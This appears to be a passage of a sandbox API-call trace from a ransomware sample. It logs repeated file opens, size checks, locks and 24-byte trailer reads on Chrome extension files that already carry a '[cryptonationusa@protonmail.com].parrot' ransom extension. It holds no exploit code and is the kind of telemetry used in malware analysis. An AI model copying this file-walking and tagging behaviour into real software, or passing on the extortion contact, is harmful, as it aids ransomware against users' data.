SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.372] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.373] CloseHandle (hObject=0x23c) returned 1 [0094.373] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\manifest.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\manifest.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.373] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x3f8 [0094.373] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x510, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.373] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.374] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.374] CloseHandle (hObject=0x23c) returned 1 [0094.374] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.375] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x218 [0094.375] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x330, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.375] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.375] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.376] CloseHandle (hObject=0x23c) returned 1 [0094.376] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.376] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x228 [0094.376] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x340, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.376] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.376] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.377] CloseHandle (hObject=0x23c) returned 1 [0094.377] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.377] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x1e8 [0094.377] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x300, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.377] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.377] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.378] CloseHandle (hObject=0x23c) returned 1 [0094.378] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.378] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x1f8 [0094.378] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x310, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.379] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.379] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.379] CloseHandle (hObject=0x23c) returned 1 [0094.379] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.380] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x1f8 [0094.380] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x310, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.380] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.380] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.381] CloseHandle (hObject=0x23c) returned 1 [0094.381] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.381] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x1f8 [0094.381] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x310, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.382] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.382] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.382] CloseHandle (hObject=0x23c) returned 1 [0094.382] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.383] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x228 [0094.383] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x340, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.383] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.383] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.384] CloseHandle (hObject=0x23c) returned 1 [0094.384] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_GB\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_gb\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.384] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x1f8 [0094.384] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x310, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.384] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.384] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.385] CloseHandle (hObject=0x23c) returned 1 [0094.385] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_US\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_us\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.385] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x1f8 [0094.385] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x310, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.386] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.386] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.386] CloseHandle (hObject=0x23c) returned 1 [0094.386] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.387] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x1e8 [0094.387] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x300, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.387] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.387] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.388] CloseHandle (hObject=0x23c) returned 1 [0094.388] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.388] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x1e8 [0094.388] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x300, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.388] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.388] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.389] CloseHandle (hObject=0x23c) returned 1 [0094.389] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.389] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x1f8 [0094.389] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x310, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.389] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.389] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.390] CloseHandle (hObject=0x23c) returned 1 [0094.390] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.390] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x1f8 [0094.390] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x310, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.390] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.391] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.391] CloseHandle (hObject=0x23c) returned 1 [0094.391] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.392] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x1f8 [0094.392] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x310, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.392] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.392] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.392] CloseHandle (hObject=0x23c) returned 1 [0094.393] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.393] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x1f8 [0094.393] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x310, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.393] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.393] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.394] CloseHandle (hObject=0x23c) returned 1 [0094.394] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.394] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x1f8 [0094.394] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x310, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.394] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.394] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.395] CloseHandle (hObject=0x23c) returned 1 [0094.395] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.396] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x238 [0094.396] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x350, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.396] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.396] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.442] CloseHandle (hObject=0x23c) returned 1 [0094.442] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, 